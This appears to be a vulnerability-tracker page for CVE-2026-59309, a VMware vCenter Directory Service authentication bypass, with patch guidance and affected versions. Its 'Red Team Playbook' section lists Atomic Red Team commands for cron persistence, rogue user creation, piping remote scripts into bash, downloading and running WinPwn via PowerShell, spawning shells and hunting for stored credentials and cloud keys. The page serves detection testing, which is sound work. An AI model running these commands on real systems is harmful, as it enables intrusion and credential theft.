CVE-2026-59309
Overview
This vulnerability is an authentication bypass in the VMware Directory Service component of VMware vCenter Server. The root cause lies in improper validation of authentication requests, allowing unauthorized users to circumvent normal authentication mechanisms. The flaw specifically affects the authentication workflow within the VMware Directory Service, enabling access without valid credentials.
Vulnerability Description
VMware vCenter contains an authentication bypass vulnerability in the VMware Directory Service. A malicious actor with network access to vCenter may exploit this issue to bypass authentication and gain unauthorized access to the system.
Impact
An attacker with network access to the affected VMware vCenter Server can bypass authentication entirely, gaining unauthorized administrative access to the system. No valid credentials or user interaction are required to exploit this flaw. This unauthorized access can lead to full system compromise, enabling the attacker to manipulate virtual infrastructure, access sensitive data, and potentially move laterally within the environment, severely impacting confidentiality, integrity, and availability of the virtualized assets.
Solution
VMware has issued advisory VMSA-2026-0001 addressing this authentication bypass in VMware vCenter Server. Users should apply the patches provided for vCenter Server version 8.0 and other affected versions as detailed in the advisory. The official VMware security advisory at https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/38017 contains step-by-step patching instructions and recommended mitigation steps to remediate this vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (29)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Vmware | Vcenter Server | All |
cpe:2.3:a:vmware:vcenter_server:*:*:*:*:*:*:*:*
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Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:-:*:*:*:*:*:*
|
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Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:a:*:*:*:*:*:*
|
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Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:b:*:*:*:*:*:*
|
|
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Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:c:*:*:*:*:*:*
|
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Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:update1:*:*:*:*:*:*
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Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:update1a:*:*:*:*:*:*
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Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:update1b:*:*:*:*:*:*
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Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:update1c:*:*:*:*:*:*
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Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:update1d:*:*:*:*:*:*
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Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:update1e:*:*:*:*:*:*
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Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:update2:*:*:*:*:*:*
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Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:update2a:*:*:*:*:*:*
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Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:update2b:*:*:*:*:*:*
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Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:update2c:*:*:*:*:*:*
|
|
|
Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:update2d:*:*:*:*:*:*
|
|
|
Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:update2e:*:*:*:*:*:*
|
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Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:update3:*:*:*:*:*:*
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Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:update3a:*:*:*:*:*:*
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Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:update3b:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
JHenryArcaneCipher/CVE-2026-59309-PoC
CVE-2026-59309 - VMware vCenter vmdir SRP Authentication Bypass (read-only PoC)
|
JHenryArcaneCipher | 1 | 0 | 2026-11-17 | View |
Threat Feed
2 eventsSighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-90 | Reflection Attack in Authentication Protocol |
30%
|
High | High |
Red Team Playbook
62 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles or mentions found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-59309 |
| support.broadcom.com |
GitHub CVE
|
https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/38017 |